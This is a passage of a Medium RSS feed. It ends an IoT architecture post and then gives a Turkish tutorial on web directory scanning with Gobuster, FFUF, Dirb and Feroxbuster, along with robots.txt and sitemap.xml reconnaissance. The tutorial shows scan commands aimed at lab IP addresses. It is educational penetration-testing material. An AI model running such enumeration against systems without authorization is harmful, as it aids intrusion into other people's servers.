Verilerin büyük çoğunluğu, bu katmanda yönetilir.</p><h4>Bulut Hizmetlerinin Görevleri:</h4><p>Veri Depolama:Verileri uzun süreli güvenli saklama.</p><p>Veri İşleme:Gerçek zamanlı veri işleme.</p><p>Veri Analizi:Büyük verilerden anlamlı sonuçlar çıkarma.</p><p>Cihaz Yönetimi:Donanım uzaktan güncellenir ve kontrol edilir.</p><h3>4. Kullanıcı Arayüzleri (UI)</h3><p>Kullanıcılar, IoT sistemlerini <strong>mobil uygulama</strong>, <strong>web arayüzü</strong> ya da doğrudan <strong>cihaz ekranı</strong> üzerinden izler ve kontrol eder.</p><h3>Kullanıcı Arayüzü Türleri:</h3><p>Mobil Uygulamalar:Cihazlara cep telefonu üzerinden erişimi.</p><p>Web Arayüzleri:İnternet tarayıcısı üzerinden kontrolü.</p><p>Cihaz ArayüzleriCihaz üzerinde ekran ve butonla kontrolü.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12f09705daa9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Uygulama Güvenliği-Dizin Tarama]]></title>
            <link>https://medium.com/@kurtkaan/web-uygulama-g%C3%BCvenli%C4%9Fi-dizin-tarama-230fe729a303?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/230fe729a303</guid>
            <category><![CDATA[dizin-tarama]]></category>
            <category><![CDATA[web-uygulama-güvenliği]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[directory-scan]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Tue, 27 May 2025 18:51:47 GMT</pubDate>
            <atom:updated>2025-05-27T18:51:47.864Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Dizin Tarama:</strong></h4><p>Dizin tarama, bir web sitesinin dizin yapısını keşfetmeye yönelik bir tekniktir. Bu süreç, güvenlik açıklarını tespit etmek amacıyla gerçekleştirilir. Genellikle hackerlar tarafından zararlı amaçlarla kullanılır. Dizin tarama işlemi, web uygulamalarındaki gizli dosya ve dizinleri ortaya çıkarır.</p><h3><strong>İçerik Keşfi</strong></h3><p>İçerik keşfi, web uygulamalarında bilgi toplama sürecinin bir parçasıdır. Bu yöntem, belirli bir hedefe yönelik olarak, gizli veya unutulmuş sayfaları, dosyaları ve diğer kaynakları keşfetmeye yöneliktir.</p><h4><strong>Fuzzing</strong></h4><p>Öncelikle, fuzzing’in ne olduğunu tanımlayalım. Fuzzing, genel olarak, yazılımdaki zafiyetleri bulma tekniğidir. Fuzzing, beklenmedik veya hatalı verilerin bir program veya sisteme gönderilmesine dayanır. Fuzzing sayesinde, bir uygulamanın nasıl davranacağı ve potansiyel güvenlik açıklarının nerede olabileceği konusunda daha fazla bilgi sahibi olabiliriz.</p><p>Örneğin, rastgele dosya isimleri listesi oluşturmak ve bunların web sitesinde olup olmadığını fuzzing ile kontrol etmektir. Başka bir örnek ise, bir giriş formuna rastgele girdilerle fuzzing yaparak web uygulamasının davranışını görmektir.</p><p>Fuzzing ile yazılıma büyük miktarda rastgele üretilmiş verilerle brute-force saldırısı yaparız. Ardından yazılımın bu girdilere nasıl tepki verdiğini gözlemleriz.</p><h4><strong>Wordlist</strong></h4><p>Web sitelerinde dizin ve sayfa taraması yapmak için yaygın olarak kullanılan kelimelerden oluşan wordlistleri kullanırız. Bu yöntem, parola sözlük saldırılarına (dictionary attack) benzer bir yaklaşımdır. Bu listeler, özellikle rastgele karakterlerden oluşan veya benzersiz isimlere sahip sayfaları ya da dizinleri bulma konusunda başararısız olsa da, genellikle bir websitenin dizin yapısının büyük bir çoğunluğunu ortaya çıkarabilir.</p><p>Kelime listelerini sıfırdan kendimiz oluşturmak yerine, bu konuda yayınlanmış kapsamlı wordlistlerden yararlanabiliriz. Web’de yapılan araştırmalar sayesinde, her türlü fuzzing işlemi için en sık kullanılan kelimeler belirlenmiş ve bu bilgiler kolayca erişilebilir hale getirilmiştir. Bu türden en popüler kelime listeleri, GitHub’daki <a href="https://github.com/danielmiessler/SecLists">SecLists</a> deposunda toplanmıştır. Bu depo, fuzzing’in çeşitli türlerine göre düzenlenmiş kelime listelerini barındırır ve parola kırma işlemlerinde kullanılabilecek yaygın parolaları dahi içerir</p><h4><strong>Araçlar</strong></h4><p>Dizin ve sayfa taraması için kullanılabilecek bir çok etkili araç vardır. Kısaca bu araçlara değinelim.</p><h3>GOBUSTER</h3><p>Gobuster, Go dili ile yazılmış bir dizin tarama aracıdır. Gobuster, kullanışlı bir komut satırı uygulaması olarak sunulur. Gobuster’ın diğer dizin tarayıcılarına göre sahip olduğu temel avantaj, hızıdır. Ayrıca iyi bir eşzamanlılık desteğine sahiptir, böylece Gobuster, işlemleri daha hızlı bir şekilde gerçekleştirmek için birden fazla iş parçacığından yararlanabilir. Gobuster’ın bir dezavantajı, rekürsif dizin taramasını desteklememesidir.</p><p>Bunlar</p><p>Websitlerindeki URI’ler (dizinler ve sayfalar),</p><p>DNS alt alan adları (wildcard desteği vardır),</p><p>Hedef web sunucularındaki sanal bilgisayar adları(vhost),</p><p>Açık Amazon S3 bucket’larını,</p><p>Açık Google Cloud bucket’larını,</p><p>TFTP sunucularını</p><p>tespit etmek için kullanılabilir.</p><h4><strong>Çalışma Modları</strong></h4><p>dir — Klasik dizin kaba kuvvet modu. Web sitelerinde belirli dizinleri ve dosyaları hızlı bir şekilde keşfetmek için kullanılır.</p><p>dns — DNS alt alanları üzerinde kaba kuvvet modu. Hedeflenen bir alan adı için potansiyel alt alanları belirlemeye yarar.</p><p>s3 — Açık S3 bucket’larını enumerate etme ve varlıkları, bucket’ları kontrol etme modu.</p><p>gcs — Açık Google Cloud bucket’larını enumerate etme modu.</p><p>vhost — Sanal bilgisayar adları üzerinde brute-force modu. DNS brute-forcing’inden farklı bir yaklaşım sergiler.</p><p>fuzz — Bazı temel fuzzing işlemleri için kullanılır. FUZZ anahtar kelimesi ile belirli bir yerde tarama yapılabilir.</p><p>tftp — TFTP dosyaları üzerinde kaba kuvvet işlemleri yapma modu.</p><p><strong>gobuster [mode][options]</strong></p><h3>FFUF</h3><p>FFUF (Fuzz Faster U Fool), fuzzing işlemini otomatize eden bir araçtır. Siber güvenlik uzmanlarının web uygulamalarındaki zafiyetleri bulmaları için tasarlanmıştır. FFUF, çeşitli payloadlar içeren büyük miktarda istek göndererek bu işlemi gerçekleştirir. Daha sonra gelen yanıtları analiz eder ve hangi yöntemlerin işe yaradığını, hangilerinin yaramadığını bize bildirir.</p><p>FFUF aynı zamanda hızlı ve esnektir, fuzzing için kullanılacak girdileri ve hedef web uygulamasına gönderilen isteklerin parametrelerini belirlememize olanak tanır.</p><p>Uygulama alanları:</p><ul><li>Dizin keşfi,</li><li>Sanal bilgisayar keşfi,</li><li>Get parametresine fuzzing uygulanması,</li><li>Post verisine fuzzing uygulanması,</li></ul><p><strong>ffuf -u </strong><a href="http://target.com/FUZZ"><strong>http://target.com/FUZZ</strong></a><strong> -w &lt;wordlist&gt;</strong></p><h3>DİRB</h3><p>Dirb, websitelerinde dosyaları, dizinleri ve sayfaları tarayan bir dizin tarama aracıdır. H Dirb, tipik web sunucu klasörleri ve dosyalarını — örneğin, yönetici sayfaları, yedek dosyalar ve yapılandırma dosyaları — tespit etmek için kullanılabilir. Sunucuya HTTP sorguları göndererek ve yanıtları analiz ederek bir dosyanın veya dizinin varlığını tespit eder.</p><p>Dirb, brute-force saldırıları için yaklaşık 4000 kelime içeren dahili bir wordlist dosyasına sahiptir.</p><p><strong>dirb &lt;url_base&gt; [&lt;wordlist_file(s)&gt;] [options]</strong></p><h3>FEROXBUSTER</h3><p>Feroxbuster, siber güvenlik uzmanlarının web sunucularındaki gizli dizinleri ve dosyaları keşfetmelerine yardımcı olmak için tasarlanmış güçlü ve etkili bir araçtır. Rust programlama dilinde yazılmış olması, onu hem hızlı hem de verimli kılar. Feroxbuster, brute-force, rekürsif tarama ve wordlistlere dayalı keşif dahil olmak üzere dosya ve dizinleri bulmak için çeşitli teknikler kullanır. Kullanıcıların iş parçacığı sayısı, wordlist, user-agent, çerez gibi çeşitli seçenekleri belirtmelerine olanak tanır.</p><p><strong>feroxbuster -u &lt;url&gt; -w &lt;wordlist&gt;</strong></p><h4><strong>Manuel Keşif:</strong></h4><p>Otomatik araçlarla dosya/dizin taramasına başlamadan önce yaygın olarak kullanılan bazı dosyaları manuel olarakta kontrol edebiliriz.</p><h4><strong>roboots.txt:</strong></h4><p>Robots.txt dosyası, web sitelerinde arama motoru robotlarının site içerisinde hangi sayfaları ziyaret edip indeksleyebileceğini veya hangi sayfaları ziyaret etmemesi gerektiğini belirten bir standarttır. Temelde, bu dosya bir web sitesinin hangi kısımlarının “görünür” veya “gizli” olacağını kontrol etmeye yardımcı olur. Özellikle, bir site sahibi belirli bir sayfanın veya dizinin arama motoru sonuçlarında yer almasını istemiyorsa, robots.txt dosyasını kullanarak bu alanları “yasaklayabilir”. Örneğin, özel kullanıcı bilgilerini içeren veya henüz yayınlanmamış içeriği içeren sayfalar gibi.</p><p>Sızma testi uzmanları için robots.txt dosyası, potansiyel zafiyetleri ve gizli olabilecek dizinleri veya dosyaları keşfetmek için başvurulan bir kaynaktır. Birçok site yöneticisi, hassas olabilecek veya keşfedilmemesi gereken dizinleri ve dosyaları bu dosyada “yasaklar”. Ancak, bu durum güvenlik uzmanlarının ve kötü niyetli kişilerin ilgisini çekebilir. Çünkü “yasaklanmış” olan bu dizinler ve dosyalar, genellikle daha fazla incelemeye değer yerlerdir.</p><h4><strong>Kullanımı:</strong></h4><p>Sızma testi sırasında bir uzman, hedef sitenin robots.txt dosyasını inceleyerek, site yapılandırmasına dair önemli ipuçları elde edebilir. Örneğin, “/admin” dizininin yasaklanmış olması, bir yönetici arayüzünün varlığına işaret edebilir ve bu da daha detaylı bir incelemeyi gerektirebilir.</p><p><a href="https://target.com/robots.txt"><strong>https://target.com/robots.txt</strong></a></p><p><strong>User-agent: *</strong> <br><strong>Disallow: /admin</strong> <br><strong>Disallow: /private_data</strong> <br><strong>Disallow: /temp</strong></p><h3><strong>Steamp.xml:</strong></h3><p>Sitemap.xml, bir web sitesinin yapısal bir haritasını sunan XML formatında bir dosyadır. Bu dosya, bir web sitesindeki tüm önemli sayfaların bir listesini içerir ve arama motorlarının siteyi daha etkin bir şekilde tarayıp indekslemesine yardımcı olur. Sitemap.xml, web sitesinin hangi sayfalarının var olduğunu ve bu sayfalar arasındaki ilişkileri arama motorlarına bildirir, böylece sitenin arama motoru sonuçlarında daha görünür olmasını sağlar.</p><p>Sitemap.xml dosyaları, özellikle büyük, sürekli güncellenen veya karmaşık link yapısına sahip siteler için önemlidir. Arama motorlarına web sitesinin hangi sayfalarını indekslemesi gerektiğini açıkça belirtir ve bu sayede yeni içeriklerin daha hızlı keşfedilmesine yardımcı olur. Bu, sitenin SEO (Arama Motoru Optimizasyonu) performansını doğrudan etkileyebilir.</p><p>Sızma testi uzmanları için sitemap.xml dosyası, hedef web sitesinin kapsamlı bir görünümünü elde etmek için önemli bir kaynaktır. Bu dosya, sızma testleri sırasında hangi sayfalara odaklanılması gerektiği konusunda ipuçları verebilir ve potansiyel olarak ihmal edilmiş veya unutulmuş sayfaları ortaya çıkarabilir.</p><p>Sızma testi sürecinde, uzmanlar bu dosyayı analiz ederek hedef site içerisindeki gizli veya daha az bilinen sayfalara yönelik güvenlik açıklarını belirlemek için bir başlangıç noktası olarak kullanabilirler. Özellikle, sitemap.xml dosyasında listelenen ancak normal kullanıcıların erişimine kapalı olan sayfalar, güvenlik açısından daha detaylı incelenmelidir.</p><h4><strong>Kullanımı:</strong></h4><p>Bir web sitesinin sitemap.xml dosyası aşağıdaki gibidir.</p><p><a href="https://target.com/sitemap.xml">https://target.com/sitemap.xml</a></p><p>&lt;urlset xmlns=”http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt; <br> &lt;url&gt; <br> &lt;loc&gt;http://www.example.com/&lt;/loc&gt; <br> &lt;lastmod&gt;2024–01–01&lt;/lastmod&gt; <br> &lt;changefreq&gt;daily&lt;/changefreq&gt; <br> &lt;priority&gt;1.0&lt;/priority&gt; <br> &lt;/url&gt; <br> &lt;url&gt; <br> &lt;loc&gt;http://www.example.com/about&lt;/loc&gt; <br> &lt;/url&gt; <br> &lt;url&gt; <br> &lt;loc&gt;http://www.example.com/contact&lt;/loc&gt; <br> &lt;/url&gt; <br>&lt;/urlset&gt;</p><h3><strong>Gobuster:</strong></h3><p>Gobuster, siber güvenlik alanında çalışanlar arasında popüler bir araçtır. Bu araç, web sunucularında gizli dizinleri, dosyaları ve alt alan adlarını keşfetmek için kaba kuvvet (brute-force) ve sözlük saldırıları yöntemlerini kullanır. Go diliyle yazılmış olması, Gobuster’ı son derece hızlı ve verimli kılar. Aynı zamanda, komut satırı üzerinden çalıştırılabilen pratik bir arayüze sahiptir.</p><p>Gobuster, önceden belirlenmiş bir kelime listesini (wordlist) kullanarak hedef web sitesindeki potansiyel dosya ve dizin adları için HTTP/HTTPS istekleri gönderir. Sunucunun bu isteklere nasıl yanıt verdiğine bağlı olarak, hangi dosya veya dizinlerin gerçekten var olduğunu ve erişilebilir olduğunu belirler.</p><h4><strong>Özellikler:</strong></h4><p><strong>Hızlı Performans:</strong> Go diliyle yazıldığı için çok hızlı çalışır.</p><p><strong>Çoklu Mod:</strong> Dizin taraması, alt alan adı keşfi ve daha fazlası için farklı modları vardır.</p><p><strong>Esneklik:</strong> Kullanıcılar, istek başına iş parçacığı sayısı, zaman aşımı süresi, user-agent ve çerezler gibi çeşitli parametreleri özelleştirebilir.</p><h4><strong>dir Mode:</strong></h4><p>Gobuster aracının dizin taraması yapmak için kullanabileceğimiz</p><p>dir modunu inceleyelim.</p><h4><strong>Dizin Tarama:</strong></h4><p>Aşağıdaki komutla birlikte hedef sistem üzerinde bir dizin taraması yapalım. Dizin taramasını yaparken</p><p>-w parametresiyle wordlist, -u parametresiyle hedefi belirtiriz. Bu taramada wordlist olarak directory-list-1.0.txt listesini kullandık.</p><p><strong>gobuster dir -u 172.20.8.56 -w /root/Desktop/misc/SecLists/Discovery/Web-Content/directory-list-1.0.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*Dwv8wnMvb1kFOilyuU_1Og.png" /></figure><h4><strong>Dosya/Sayfa Tarama:</strong></h4><p>Aşağıdaki komutla birlikte hedef sistem üzerinde bir dosya/sayfa taraması yapalım. Dosya/sayfa taraması yaparken</p><p>-w parametresiyle wordlist, -u parametresiyle hedef, — extensions parametresiyle uzantı belirtiriz. Belirttiğimiz -v parametresi detaylı bir çıktı almak için kullanılmıştır.</p><p>Aşağıdaki komutu kullanarak</p><p>.php uzantılı dosyaları tespit edelim.</p><p><strong>gobuster dir -u 172.20.8.56 -w /root/Desktop/misc/SecLists/Discovery/Web-Content/common.txt — extensions php -v</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*zo_O8P0o4SD8ooqpOL3iLQ.png" /></figure><h3><strong>Feroxbuster:</strong></h3><p>Feroxbuster, web uygulamalarında gizli kalan veya unutulmuş dizinleri ve dosyaları keşfetmek için tasarlanmış, komut satırı tabanlı bir araçtır. Rust programlama dilinde yazılmış olan Feroxbuster, yüksek performansı ve etkili tarama kabiliyeti ile dikkat çeker. Güvenlik profesyonelleri, sızma testçileri ve web geliştiriciler tarafından sıkça kullanılan bu araç, kaba kuvvet (brute-force) ve sözlük saldırıları (wordlist attacks) yöntemlerini kullanarak web sunucularını tarar.</p><h4><strong>Özellikler:</strong></h4><p><strong>Yüksek Performans:</strong> Rust programlama dilinde yazılmış olması, onu oldukça hızlı ve verimli kılar.</p><p><strong>Esneklik:</strong> Tarama işlemleri sırasında çeşitli parametreleri özelleştirebilir, örneğin istek başına iş parçacığı sayısı, tarama derinliği ve zaman aşımı sürelerini ayarlayabilirsiniz.</p><p><strong>Çok Yönlülük:</strong> Feroxbuster, sadece dizin ve dosya taraması yapmakla kalmaz, aynı zamanda farklı tarama modlarına da sahiptir. Bu modlar arasında, yinelemeli tarama ve vurgulama (highlighting) gibi özellikler bulunur.</p><p>Basit bir kullanım senaryosunda, Feroxbuster’ı belirli bir web sitesindeki dizinleri ve dosyaları taramak için kullanabilirsiniz. Aşağıdaki komut, temel bir tarama işlemi gerçekleştirir:</p><h4><strong>Temel Kullanım:</strong></h4><p>feroxbuster -u &lt;URL&gt; -w &lt;wordlist&gt;</p><h4><strong>Dizin Tarama:</strong></h4><p>Aşağıdaki komutla birlikte hedef sistem üzerinde bir dizin taraması yapalım. Dizin taramasını yaparken</p><p>-w parametresiyle wordlist, -u parametresiyle hedefi belirtiriz. Bu taramada wordlist olarak directory-list-1.0.txt listesini kullandık.</p><p><strong>feroxbuster -u 172.20.8.56 -w /root/Desktop/misc/SecLists/Discovery/Web-Content/directory-list-1.0.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*gtNk-UXfte76bPEjft-A1g.png" /></figure><h4><strong>Dosya/Sayfa Tarama:</strong></h4><p>Aşağıdaki komutla birlikte hedef sistem üzerinde bir dosya taraması yapalım. Dosya/sayfa taraması yaparken</p><p>-w parametresiyle wordlist, -u parametresiyle hedef, -x parametresiyle uzantı belirtiriz.</p><p>Aşağıdaki komutu kullanarak</p><p>.pdf uzantılı dosyaları tespit edelim.</p><p><strong>feroxbuster -u 172.20.8.56 -w /root/Desktop/misc/SecLists/Discovery/Web-Content/common.txt -x pdf</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*MXVZ-D0zZLwnR5xIFjUNfg.png" /></figure><h3><strong>Dirb:</strong></h3><p>Dirb, web sunucularında gizli ya da unutulmuş dosya ve dizinleri keşfetmek için tasarlanmış popüler bir güvenlik aracıdır. Komut satırı tabanlı bu araç, kaba kuvvet (brute-force) ve kelime listesi (wordlist) yöntemlerini kullanır. C ve Perl gibi dillerde yazılmış olan Dirb, HackerBox’ta önyüklü olarak gelir.</p><h4><strong>Özellikler:</strong></h4><p><strong>Brute-force ve Wordlist Yöntemleri:</strong> Dirb, önceden tanımlanmış kelime listelerini kullanarak hedef web sitesinde var olabilecek dizin ve dosyaları bulmak için HTTP GET istekleri gönderir.</p><p><strong>Esneklik:</strong> Farklı wordlistler kullanılabilir, kullanıcı kendi kelime listesini oluşturabilir veya mevcut listeleri kullanabilir.</p><p><strong>Çok Amaçlı Kullanım:</strong> Hem statik dosya ve dizin keşfi yapabilir hem de CGI scriptleri gibi dinamik içerikleri tespit edebilir.</p><h4><strong>Dizin Tarama:</strong></h4><p>Aşağıdaki komutu çalıştırarak dizin taraması yapabiliriz. Dirb aracını kullanırken wordlist belirtmezsek varsayılan olarak kendi wordlistini kullanır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*f0U69Esriw_NmvfglyZHJA.png" /></figure><h4><strong>Dosya/Sayfa Tarama:</strong></h4><p>Aşağıdaki komutu çalıştırarak dosya/sayfa taraması yapabiliriz. Dirb aracını kullanırken wordlist belirtmezsek varsayılan olarak kendi wordlistini kullanır.</p><p>-X parametresiyle birlikte .html uzantılı dosyaları arayacağımızı belirttik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*EAGnpiANgrbuii4EkwZD2A.png" /></figure><h3><strong>FFUF — Dizin Fuzzing:</strong></h3><p>FFUF (Fuzz Faster U Fool), web uygulamalarında sızma testi yaparken kullanılan güçlü ve hızlı bir fuzzing aracıdır. Bu araç, web dizinlerini, dosyalarını ve farklı türdeki sızma testleri için parametre değerlerini hızla deneyerek potansiyel zafiyetleri ortaya çıkarmaya yönelik olarak kullanılabilmektedir.</p><h4><strong>Özellikler:</strong></h4><p><strong>Hız:</strong> FFUF, Go dilinin getirdiği avantajlar sayesinde, benzer araçlara kıyasla çok hızlıdır.</p><p><strong>Esneklik:</strong> Çeşitli HTTP metodları (GET, POST vb.) üzerinde çalışabilir, user-agent, çerezler ve HTTP başlıkları özelleştirilebilir.</p><p><strong>Çok Amaçlı Kullanım:</strong> Dizin ve dosya fuzzing’inin yanı sıra, web uygulamalarındaki form veri girişlerini fuzzing yapmak için de kullanılabilir.</p><p><strong>ffuf -u </strong><a href="http://example.com/FUZZ"><strong>http://example.com/FUZZ</strong></a><strong> -w /path/to/wordlist.txt</strong></p><p>ffuf aracını kullanırken fuzzing edilecek alana <strong>FUZZ</strong> anahtar kelimesinin eklenmesi gerekir.</p><h4><strong>Dizin Tarama:</strong></h4><p>Aşağıdaki komutla birlikte hedef sistem üzerinde bir dizin taraması yapalım. Dizin taramasını yaparken</p><p>-w parametresiyle wordlist, -u parametresiyle hedefi belirtiriz. Bu taramada wordlist olarak directory-list-1.0.txt listesini kullandık. Ayrıca FUZZ anahtar kelimesini kullanarak fuzzing edilecek alanı belirttik.</p><p>ffuf -u <a href="http://172.20.3.144/FUZZ">http://172.20.3.144/FUZZ</a> -w /root/Desktop/misc/SecLists/Discovery/Web-Content/directory-list-1.0.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*5MyRIdZWIPWTrnqN6QsIvg.png" /></figure><h4><strong>Dosya Uzantısı Tarama:</strong></h4><p>Ffuf aracı ile bir websitesindeki .php, .html, .aspx gibi çeşitli dosya uzantılarını tarayabiliriz. Bunun için öncelikle websitesinin kullanmış olduğu dosya uzantılarını belirleyebiliriz.</p><p>Bir web sitesinin kullanmış olduğu dosya uzantılarını belirlemenin birkaç yolu vardır. Sunucu tipini HTTP yanıtlarından öğrenip uzantıyı tahmin etmek yaygın bir yöntemdir. Örneğin, sunucu apache ise .php, IIS ise .asp veya .aspx olabilir. Ancak bu yöntem her zaman pratik olmayabilir. FFUF ile uzantı taraması yaparken, wordlistteki her bir uzantıyı sistematik bir şekilde deneyerek sitenin hangi uzantıları desteklediğini belirleyebiliriz.</p><p>Aşağıdaki komutla birlikte hedef sistem üzerinde bir dosya uzantı taraması yapalım. Tarama yaparken</p><p>-w parametresiyle wordlist, -u parametresiyle hedefi belirtiriz. Bu taramada wordlist olarak web-extensions.txt listesini kullandık. Ayrıca anahtar kelimeyi indexFUZZ şeklinde kullanarak tek tek “index.html”, “index.php” gibi uzantıların denenmesini sağlıyoruz.</p><p><strong>cat /root/Desktop/misc/SecLists/Discovery/Web-Content/web-extensions.txt</strong> <br>.asp <br>.aspx <br>.bat <br>.c <br>.cfm <br>.cgi <br>.css <br>.com <br>.dll <br>.exe <br>.htm <br>.html <br>.inc <br>.jhtml <br>.js <br>.jsa <br>.jsp <br>.log <br>.mdb <br>.nsf <br>.pcap <br>.php <br>.php2 <br>.php3 <br>.php4 <br>.php5 <br>.php6 <br>.php7 <br>.phps <br>.pht <br>.phtml <br>.pl <br>.reg <br>.sh <br>.shtml <br>.sql <br>.swf <br>.txt <br>.xml</p><p><strong>ffuf -u </strong><a href="http://172.20.3.144/indexFUZZ"><strong>http://172.20.3.144/indexFUZZ</strong></a><strong> -w /root/Desktop/misc/SecLists/Discovery/Web-Content/web-extensions.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Y8h9MD07Qy6gGvReoGkKUg.png" /></figure><h4><strong>Dosya/Sayfa Tarama:</strong></h4><p>Uzantı taraması yaptığımızda websitesindeki sayfaların</p><p>.html uzantılı olduğunu varsayalım. Bu bilgiden yola çıkarak web sitesindeki .html uzantılı dosyaları tespit edelim.</p><p><strong>ffuf -u </strong><a href="http://172.20.3.144/FUZZ.html"><strong>http://172.20.3.144/FUZZ.html</strong></a><strong> -w /root/Desktop/misc/SecLists/Discovery/Web-Content/common.txt -v</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*gnP_OBbZPWhufh2_YLDtCQ.png" /></figure><p>BİTTİ:)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=230fe729a303" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>